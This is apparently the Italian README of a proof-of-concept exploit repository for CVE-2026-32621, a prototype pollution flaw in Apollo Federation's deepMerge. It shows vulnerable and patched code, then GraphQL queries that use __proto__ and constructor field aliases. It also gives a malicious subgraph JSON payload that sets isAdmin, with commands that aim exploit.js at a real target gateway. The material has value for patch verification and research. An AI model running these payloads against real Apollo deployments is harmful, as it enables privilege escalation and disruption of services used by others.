
Exploit PoC per CVE-2026-32621 che dimostra la prototype pollution di deepMerge in Apollo Federation tramite alias GraphQL appositamente creati, con test sulle versioni patchate.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 Critico |
| CWE | CWE-1321 (Prototype Pollution) |
| Versioni affette | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| Versioni corrette | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
La funzione deepMerge di Apollo Federation (utilizzata in @apollo/query-planner e @apollo/gateway per unire le risposte dei subgraph durante l'esecuzione del query plan) non sanifica le chiavi prima di accedere a target[key].
Quando un oggetto sorgente contiene __proto__ come proprietà propria (che JSON.parse crea), Object.keys() la restituisce e target["__proto__"] si risolve in Object.prototype attraverso la catena dei prototipi. La funzione di merge scrive quindi le proprietà direttamente su Object.prototype, inquinando la catena dei prototipi globale per l'intero processo Node.js.
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
Un client invia una query GraphQL con alias di campo chiamati __proto__, constructor o prototype. Quando il gateway elabora la risposta, deepMerge utilizza questi alias come chiavi, inquinando Object.prototype.
query {
__proto__: products {
polluted: id
}
}
Un subgraph compromesso restituisce JSON con chiavi __proto__. Quando il gateway unisce la risposta tramite deepMerge, Object.prototype viene inquinato.
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin, role, permissionstoString, valueOf con funzioni nulle/rotte
Documento Contenuto USAGE.md Guida all'uso dettagliata con istruzioni passo passo DIAGRAM.md Diagrammi di struttura e visualizzazione del flusso dell'attacco
| File | Scopo |
|------|---------| |
exploit.js| Exploit principale con 5 vettori di attacco + dimostrazione locale | |test_exploit.js| Test unitari (15 test che validano l'inquinamento e la patch) | |e2e_test.js| Validazione end-to-end (10 test: gateway + exploit + verifica) | |setup_vulnerable.js| Simulatore di gateway vulnerabile per i test |
# Run the local deepMerge vulnerability demonstration
node exploit.js
Questo dimostra l'esatto percorso di codice vulnerabile senza bisogno di un gateway in esecuzione.
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
Consulta DIAGRAM.md per i diagrammi di architettura completi.
__proto__, constructor, prototype negli alias di campo e nei nomi delle variabiliMIT